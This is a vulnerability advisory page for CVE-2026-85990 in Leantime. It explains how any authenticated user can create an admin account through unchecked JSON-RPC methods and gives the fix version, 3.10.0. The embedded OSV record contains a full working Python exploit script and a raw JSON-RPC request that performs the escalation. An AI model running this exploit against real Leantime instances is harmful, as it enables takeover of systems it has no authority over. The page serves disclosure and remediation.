CVE-2026-85990: Leantime Any Authenticated User Can Self-Escalate Vulnerability
HIGHCVE-2026-85990 is a HIGH (CVSS 8.8) any authenticated user can self-escalate vulnerability (CWE-269: Improper Privilege Management) affecting Leantime libraries in the Packagist ecosystem. The issue involves any authenticated user can self-escalate to admin via unauthorized json-rpc methods. Remediation is available by upgrading affected packages to version 3.10.0.
CVE-2026-85990 at a Glance
Security Impact
CVSS: 8.8
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
How to Fix CVE-2026-85990
To remediate this vulnerability, upgrade all affected Leantime dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade leantime/leantime to 3.10.0
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for leantime/leantime
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-85990, inspect your project dependencies for Leantime:
inspect dependencies for leantime/leantime
Analyze the terminal output to locate any version of Leantime in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.10.0), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-269: Improper Privilege Management, where the product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor. In Leantime, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-85990 Affected Leantime Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
leantime/leantime
|
Packagist |
< 3.10.0
|
3.10.0
|
References
Frequently Asked Questions
What is CVE-2026-85990?
Which Leantime versions are affected?
What version fixes CVE-2026-85990?
Is leantime/leantime affected?
What is the CVSS score of CVE-2026-85990?
What CWE is associated with CVE-2026-85990?
How can I check Packagist dependencies for CVE-2026-85990?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-54mm-6729-r5wp",
"modified" : "2026-10-15T20:14:43Z",
"published" : "2026-10-15T20:14:43Z",
"aliases" : [ "CVE-2026-85990" ],
"summary" : "Leantime: Any Authenticated User Can Self-Escalate to Admin via Unauthorized JSON-RPC Methods",
"details" : "### Summary\n\nAny authenticated Leantime user - including the lowest-privilege `readonly` role - can escalate to full administrative access by calling the JSON-RPC method `leantime.rpc.api.api.createApiKeyWithProjects` with an attacker-chosen `role` value. The server creates a new account at that role with no authorization check, and the resulting credentials work as a fully interactive admin login through the ordinary web UI. The same root cause (missing per-method authorization on JSON-RPC-exposed service methods) also leaves the `Plugins` service's `installPlugin`, `enablePlugin`, `disablePlugin`, and `removePlugin` methods callable by any authenticated user with no role check, even though their web-UI equivalents correctly require an admin/owner role.\n\n### Details\n\nLeantime's JSON-RPC API (`app/Domain/Api/Controllers/Jsonrpc.php`) reflects any public method on any `@api`-annotated service class and dispatches it at `leantime.rpc.{domain}.{service}.{method}`. Per-method authorization is enforced by `PermissionEnforcer::enforce()` (`app/Core/Auth/Permissions/PermissionEnforcer.php`), which reads a `#[RequiresPermission(...)]` PHP attribute off the target method - but when that attribute is **absent**, `enforce()` silently returns and allows the call through.\n\n`Api::createApiKeyWithProjects(array $values, ?array $projects)` (`app/Domain/Api/Services/Api.php`) is `@api`-exposed and carries no `#[RequiresPermission]` attribute. It forwards `$values` - including a caller-supplied `role` - directly into `createAPIKey()` → `Users\\Repositories\\Users::addUser()`, with no server-side clamping of `role` against the calling user's own privilege level:\n\n```php\n// app/Domain/Api/Services/Api.php\n/**\n * @api\n */\npublic function createApiKeyWithProjects(array $values, ?array $projects): array|false\n{\n $apiKeyValues = $this->createAPIKey($values); // no #[RequiresPermission], no role check\n ...\n}\n```\n\nThe equivalent web route (`NewApiKey` controller) correctly gates account creation behind an admin-only role check (`Auth::authOrRedirect([Roles::$admin, ...])`), but that gate is bypassed entirely by calling the service directly through JSON-RPC.\n\nSeparately, `Plugins::installPlugin()`, `enablePlugin()`, `disablePlugin()`, and `removePlugin()` (`app/Domain/Plugins/Services/Plugins.php`, lines ~266/299/320/342) share the same gap: all four are `@api`-exposed with no `#[RequiresPermission]`, while their web-controller equivalents (`Myapps.php`, `Details.php`) correctly require `Roles::$owner`/`Roles::$admin`.\n\nAuthenticating to the JSON-RPC endpoint with an ordinary browser session cookie (rather than a dedicated API key) is sufficient, provided the request carries an `X-Requested-With: XMLHttpRequest` header (`app/Core/Middleware/StartSession.php`) - this is exactly what the application's own first-party JS client already sends, so no special tooling beyond a normal authenticated session is needed.\n\n### PoC\n\nA runnable Python PoC (`requests` library only) reproduces this end-to-end; see the attached `poc.py`. Steps:\n\n1. Create/authenticate as a `readonly`-role account (the lowest privilege level). Confirm it is correctly blocked (HTTP 403) from an admin-only page, e.g. `/plugins/myapps`.\n2. From that same low-privilege session, send:\n ```\n POST /api/jsonrpc\n Content-Type: application/json\n X-Requested-With: XMLHttpRequest\n\n {\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"leantime.rpc.api.api.createApiKeyWithProjects\",\n \"params\":{\"values\":{\"firstname\":\"poc\",\"role\":40,\"status\":\"a\"},\"projects\":[]}}\n ```\n The server responds `HTTP 200` with the newly created account's `user`/`passwordClean` and `\"role\":40` (admin) in the JSON body.\n3. Log in through the normal `/auth/login` form using the returned `user`/`passwordClean`. The resulting session now has full, interactive access to `/plugins/myapps` (HTTP 200) - the exact page that returned 403 in step 1.\n\nReproduced against a local instance built from this repository's own `.dev` Docker tooling (`.dev/docker-compose.yaml`), with dependencies installed via `composer install` / `npx mix` and no modifications to application code.\n\n### Impact\n\nComplete compromise of any Leantime instance by an attacker who controls, or can register/be granted, any authenticated account - including the lowest-privilege `readonly` role. No admin credentials, tokens, or prior access beyond an ordinary low-privilege login are required. This is a full authenticated-to-admin privilege escalation (CWE-862 Missing Authorization, CWE-269 Improper Privilege Management). Combined with the plugin-management gap described above, it further extends to arbitrary plugin install/enable/disable/remove, a path toward code-execution-level impact tracked from the same root cause.\n\nScript : poc.py\n```python\n#!/usr/bin/env python3\n\"\"\"\nWhat this script does, against a target Leantime instance:\n 1. Logs in as a LOW-PRIVILEGE account (readonly role by default).\n 2. Confirms the account is correctly blocked by the normal web UI from an\n admin-only page (expects HTTP 403) -- this establishes the account truly\n has no admin rights before the exploit runs.\n 3. Calls leantime.rpc.api.api.createApiKeyWithProjects over JSON-RPC using\n nothing but that account's own ordinary session cookie, requesting\n role=40 (admin). No admin/API-key credential is used anywhere in this\n step -- only the low-privilege session established in step 1.\n 4. Logs in through the completely ordinary web login form using the\n generated username/password from step 3, and confirms that account now\n has full, interactive admin access to the same admin-only page that\n blocked the original low-privilege account in step 2. (The record is\n created with source='' rather than source='api' -- createAPIKey() never\n sets that column -- so it does NOT work as an x-api-key credential, but\n it is a fully functional role=40 web login, which is a stronger and\n more direct proof of impact.)\n\nRequirements: pip install requests\n\nUsage:\n python3 poc.py --url http://localhost:5080 \\\\\n --username lowpriv@leantime.test --password 'LowPriv123!'\n\"\"\"\n\nimport argparse\nimport sys\n\nimport requests\n\n\ndef rpc_call(session: requests.Session, base_url: str, method: str, params: dict, extra_headers: dict | None = None):\n \"\"\"Call a JSON-RPC method. Sends X-Requested-With so the session-based\n guard actually loads the caller's real, persisted session (see\n StartSession.php:65) -- without it, API requests get a fresh, empty,\n in-memory session and every call 401s regardless of login state.\"\"\"\n headers = {\n \"Content-Type\": \"application/json\",\n \"X-Requested-With\": \"XMLHttpRequest\",\n }\n if extra_headers:\n headers.update(extra_headers)\n\n resp = session.post(\n f\"{base_url}/api/jsonrpc\",\n json={\"jsonrpc\": \"2.0\", \"id\": 1, \"method\": method, \"params\": params},\n headers=headers,\n )\n return resp\n\n\ndef main():\n parser = argparse.ArgumentParser(description=__doc__, formatter_class=argparse.RawDescriptionHelpFormatter)\n parser.add_argument(\"--url\", required=True, help=\"Base URL of the target Leantime instance, e.g. http://localhost:5080\")\n parser.add_argument(\"--username\", required=True, help=\"Email of a LOW-privilege test account (e.g. readonly role)\")\n parser.add_argument(\"--password\", required=True, help=\"Password for that account\")\n parser.add_argument(\"--admin-check-path\", default=\"/plugins/myapps\", help=\"An admin-only web page used to confirm the account has no admin rights (default: /plugins/myapps)\")\n parser.add_argument(\"--insecure\", action=\"store_true\", help=\"Disable TLS verification (for self-signed local/dev instances)\")\n args = parser.parse_args()\n\n verify = not args.insecure\n base_url = args.url.rstrip(\"/\")\n s = requests.Session()\n s.verify = verify\n\n print(f\"[*] Target: {base_url}\")\n\n # Step 1: log in as the low-privilege account via the ordinary web form.\n print(f\"[*] Logging in as low-privilege account: {args.username}\")\n s.get(f\"{base_url}/auth/login\") # prime session cookie\n login_resp = s.post(\n f\"{base_url}/auth/login\",\n data={\n \"username\": args.username,\n \"password\": args.password,\n \"redirectUrl\": \"/dashboard/home\", # avoid the unrelated empty-redirectUrl 500 bug\n },\n allow_redirects=False,\n )\n if login_resp.status_code not in (302, 303):\n print(f\"[!] Login did not redirect as expected (got {login_resp.status_code}). Aborting.\")\n sys.exit(1)\n print(\"[+] Login succeeded (session cookie established).\")\n\n # Step 2: confirm the account genuinely has no admin rights via the web UI.\n check_resp = s.get(f\"{base_url}{args.admin_check_path}\", allow_redirects=False)\n if check_resp.status_code == 403:\n print(f\"[+] Confirmed: web UI correctly blocks this account from {args.admin_check_path} (HTTP 403).\")\n else:\n print(f\"[!] Expected HTTP 403 from {args.admin_check_path}, got {check_resp.status_code}. \"\n f\"Continuing anyway, but this account may not be low-privilege as assumed.\")\n\n # Step 3: the actual privilege escalation -- same session, no API key used.\n print(\"[*] Calling leantime.rpc.api.api.createApiKeyWithProjects with role=40 (admin) \"\n \"using ONLY the low-privilege session from step 1 ...\")\n esc_resp = rpc_call(\n s,\n base_url,\n \"leantime.rpc.api.api.createApiKeyWithProjects\",\n {\"values\": {\"firstname\": \"poc-escalated-admin-key\", \"role\": 40, \"status\": \"a\"}, \"projects\": []},\n )\n\n try:\n esc_json = esc_resp.json()\n except ValueError:\n print(f\"[!] Non-JSON response (HTTP {esc_resp.status_code}): {esc_resp.text[:500]}\")\n sys.exit(1)\n\n if \"error\" in esc_json:\n print(f\"[!] Exploit call failed: {esc_json['error']}\")\n print(\" (If this is 'Method is not available via API' or an AuthorizationException, \"\n \"the target may already be patched.)\")\n sys.exit(1)\n\n result = esc_json[\"result\"]\n new_user = result[\"user\"]\n new_pass = result[\"passwordClean\"]\n new_role = result[\"role\"]\n new_id = result[\"id\"]\n api_key = f\"lt_{new_user}_{new_pass}\"\n\n print(\"[+] VULNERABLE: server created a new account with attacker-chosen role, \"\n \"with no permission check on the calling (low-privilege) account.\")\n print(f\" New account id={new_id} role={new_role} (40 == admin)\")\n print(f\" Generated credentials -- username: {new_user} password: {new_pass}\")\n print(f\" (Nominal API key form: {api_key} -- see note below.)\")\n\n # Step 4: prove the new account carries real, interactive admin privilege\n # by logging in through the ORDINARY web login form and hitting the same\n # admin-only page that blocked the original low-privilege account.\n print(\"[*] Logging in through the normal web UI with the generated credentials ...\")\n admin_session = requests.Session()\n admin_session.verify = verify\n admin_session.get(f\"{base_url}/auth/login\")\n admin_login_resp = admin_session.post(\n f\"{base_url}/auth/login\",\n data={\"username\": new_user, \"password\": new_pass, \"redirectUrl\": \"/dashboard/home\"},\n allow_redirects=False,\n )\n if admin_login_resp.status_code not in (302, 303):\n print(f\"[!] Web login with generated credentials failed (HTTP {admin_login_resp.status_code}).\")\n sys.exit(1)\n\n admin_check_resp = admin_session.get(f\"{base_url}{args.admin_check_path}\", allow_redirects=False)\n if admin_check_resp.status_code == 200:\n print(f\"[+] CONFIRMED: the account created by a LOW-PRIVILEGE user now has full, \"\n f\"interactive admin access to {args.admin_check_path} (HTTP 200) -- \"\n f\"the exact page that returned 403 for the original account in step 2.\")\n else:\n print(f\"[!] Expected HTTP 200 from {args.admin_check_path} with the escalated account, \"\n f\"got {admin_check_resp.status_code}.\")\n\nif __name__ == \"__main__\":\n main()\n```\n\n---\n\n**Maintainer note (resolution):** Addressed by the native permission engine (v3.9.0): the affected JSON-RPC service methods now carry #[RequiresPermission] and are enforced at the API boundary (users/clients/projects mutations require the appropriate permission; self-escalation via editUser/patchUser is blocked). Remaining gates ship in the upcoming release.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Packagist",
"name" : "leantime/leantime"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "3.10.0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/Leantime/leantime/security/advisories/GHSA-54mm-6729-r5wp"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-85990"
}, {
"type" : "WEB",
"url" : "https://github.com/Leantime/leantime/pull/3583"
}, {
"type" : "WEB",
"url" : "https://github.com/Leantime/leantime/pull/3797"
}, {
"type" : "WEB",
"url" : "https://github.com/Leantime/leantime/commit/5605e5ee86bbd01acb85c6b5d8fb337faf8bcf02"
}, {
"type" : "WEB",
"url" : "https://github.com/Leantime/leantime/commit/7ebf7a9517e2aaa05ec15b8130ab1841a4bde43e"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/Leantime/leantime"
}, {
"type" : "WEB",
"url" : "https://github.com/Leantime/leantime/releases/tag/v3.10.0"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-269", "CWE-862" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-10-15T20:14:43Z",
"nvd_published_at" : "2026-10-13T17:17:47Z"
}
}